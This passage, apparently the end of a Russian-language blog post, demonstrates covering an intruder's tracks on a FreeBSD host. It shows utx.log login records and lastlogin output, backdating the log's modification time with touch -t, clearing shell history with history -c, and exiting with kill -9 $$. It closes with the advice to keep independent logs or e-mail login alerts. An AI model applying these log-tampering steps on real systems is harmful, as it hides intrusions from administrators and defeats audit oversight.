[1447045707.708080 -- Mon Nov 9 08:08:27 2015] user process: id="8084832f31000000" pid="19008" user="Alex" line="pts/1" host="mm-21-205-84-93.dynamic.pppoe.mgts.ru"
[1447045911.315244 -- Mon Nov 9 08:11:51 2015] dead process: id="8084832f31000000" pid="19008"
[1447052181.641530 -- Mon Nov 9 09:56:21 2015] user process: id="8084832f31000000" pid="19314" user="Alex" line="pts/1" host="10.3.1.15"
[1447131335.768107 -- Tue Nov 10 07:55:35 2015] user process: id="8084832f33000000" pid="23441" user="Alex" line="pts/3" host="30.205.98.54"
[1447133646.400779 -- Tue Nov 10 08:34:06 2015] dead process: id="8084832f33000000" pid="23441"
[1447261331.491910 -- Wed Nov 11 20:02:11 2015] system boot
[1447263839.850262 -- Wed Nov 11 20:43:59 2015] user process: id="8084832f30000000" pid="1422" user="Alex" line="pts/0" host="10.3.1.15"
[1447267906.123055 -- Wed Nov 11 21:51:46 2015] user process: id="8084832f31000000" pid="1644" user="Alex" line="pts/1" host="10.3.1.15"
[1447271644.777315 -- Wed Nov 11 22:54:04 2015] dead process: id="8084832f30000000" pid="1422"
[1447275711.000315 -- Thu Nov 12 00:01:51 2015] dead process: id="8084832f31000000" pid="1644"
[1447303224.172811 -- Thu Nov 12 07:40:24 2015] user process: id="8084832f30000000" pid="3685" user="Alex" line="pts/0" host="30.205.135.101"
[1447305113.718172 -- Thu Nov 12 08:11:53 2015] dead process: id="8084832f30000000" pid="3685"
[1447309547.097136 -- Thu Nov 12 09:25:47 2015] user process: id="8084832f30000000" pid="4018" user="Alex" line="pts/0" host="108.182.182.209"
[1447311304.396008 -- Thu Nov 12 09:55:04 2015] user process: id="8084832f31000000" pid="4104" user="Alex" line="pts/1" host="10.3.1.15"
[1447316907.634554 -- Thu Nov 12 11:28:27 2015] user process: id="8084832f32000000" pid="4373" user="Alex" line="pts/2" host="108.182.182.209"
[1447322795.387121 -- Thu Nov 12 13:06:35 2015] dead process: id="8084832f30000000" pid="4018"
и соответственно
# lastlogin
lastlogin
Alex pts/2 108.182.182.209 Thu Nov 12 11:28:27 2015
root ttyv1 Sun Jul 19 11:06:57 2015
swimmer ftpd 10.34.1.23 Mon Oct 6 16:07:21 2014
Все эти манипуляции привели к
# ls -l /var/log/utx.log
ls -l /var/log/utx.log
-rw-r--r-- 1 root wheel 1570 Nov 13 14:28 /var/log/utx.log
Поэтому редактируем время посещения в соотвтетствии с последней записью в логе
# touch -t201511121306 /var/log/utx.log
touch -t201511121306 /var/log/utx.log
# ls -l /var/log/utx.log
ls -l /var/log/utx.log
-rw-r--r-- 1 root wheel 1570 Nov 12 13:06 /var/log/utx.log
Повторяем то же для остальных файлов…
Дело сделано, пора уходить. Чистим историю
# history -c
и уходим «по английски»
# kill -9 $$
К чему всё вышеизложенное?
Не полагайтесь только на системные логи, ведите свои. Хотя бы уведомления на e-mail о входе.
